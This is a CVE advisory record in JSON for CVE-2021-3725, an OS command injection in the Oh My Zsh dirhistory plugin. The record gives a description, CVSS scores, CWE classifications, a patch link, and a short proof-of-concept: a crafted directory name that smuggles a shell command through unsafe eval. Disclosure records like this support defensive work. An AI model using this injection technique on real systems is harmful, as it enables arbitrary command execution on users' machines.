CVE-2021-3725

{"containers": {"cna": {"affected": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "06fc5fb", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "descriptions": [{"lang": "en", "value": "Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}], "exploits": [{"lang": "en", "value": "Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n baddir=\"directory';id;echo 'pwned\"\n mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n $ <Alt-Left>\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n pwned"}], "metrics": [{"cvssV3_1": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-78", "description": "CWE-78 OS Command Injection", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"dateUpdated": "2021-11-30T09:30:14.000Z", "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "shortName": "@huntrdev"}, "references": [{"tags": ["x_refsource_MISC"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}], "title": "OS Command Injection in ohmyzsh/ohmyzsh", "x_legacyV4Record": {"CVE_data_meta": {"ASSIGNER": "security@huntr.dev", "ID": "CVE-2021-3725", "STATE": "PUBLIC", "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"}, "affects": {"vendor": {"vendor_data": [{"product": {"product_data": [{"product_name": "ohmyzsh/ohmyzsh", "version": {"version_data": [{"version_affected": "<", "version_value": "06fc5fb"}]}}]}, "vendor_name": "ohmyzsh"}]}}, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": {"description_data": [{"lang": "eng", "value": "Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}]}, "exploit": [{"lang": "en", "value": "Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n baddir=\"directory';id;echo 'pwned\"\n mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n $ <Alt-Left>\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n pwned"}], "impact": {"cvss": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}, "problemtype": {"problemtype_data": [{"description": [{"lang": "eng", "value": "CWE-78 OS Command Injection"}]}]}, "references": {"reference_data": [{"name": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb", "refsource": "MISC", "url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}]}}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T17:01:08.297Z"}, "title": "CVE Program Container", "references": [{"tags": ["x_refsource_MISC", "x_transferred"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}]}]}, "cveMetadata": {"assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "assignerShortName": "@huntrdev", "cveId": "CVE-2021-3725", "datePublished": "2021-11-30T09:30:14.000Z", "dateReserved": "2021-08-19T00:00:00.000Z", "dateUpdated": "2024-08-03T17:01:08.297Z", "state": "PUBLISHED"}, "dataType": "CVE_RECORD", "dataVersion": "5.1"}

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{"affected": [{"affectedData": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "06fc5fb", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "source": "security@huntr.dev"}], "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:planetargon:oh_my_zsh:*:*:*:*:*:*:*:*", "matchCriteriaId": "48D79331-6AA8-4848-A0B1-E3B487932DA2", "versionEndExcluding": "11-11-2021", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}, {"lang": "es", "value": "Una vulnerabilidad en el plugin dirhistory Descripci\u00f3n: los widgets que retroceden y avanzan en el historial de directorios, activados al pulsar Alt-Izquierda y Alt-Derecha, usan funciones que ejecutan de forma insegura eval sobre nombres de directorios. Si se entra en un directorio con un nombre cuidadosamente dise\u00f1ado, y luego se presiona Alt-Izquierda, el sistema est\u00e1 sujeto a la inyecci\u00f3n de comandos. \u00c1reas afectadas: - Funciones pop_past y pop_future en el plugin dirhistory"}], "id": "CVE-2021-3725", "lastModified": "2026-06-17T04:05:38.660", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "security@huntr.dev", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2021-11-30T10:15:08.670", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}], "sourceIdentifier": "security@huntr.dev", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-78"}], "source": "security@huntr.dev", "type": "Secondary"}, {"description": [{"lang": "en", "value": "CWE-94"}], "source": "nvd@nist.gov", "type": "Primary"}]}

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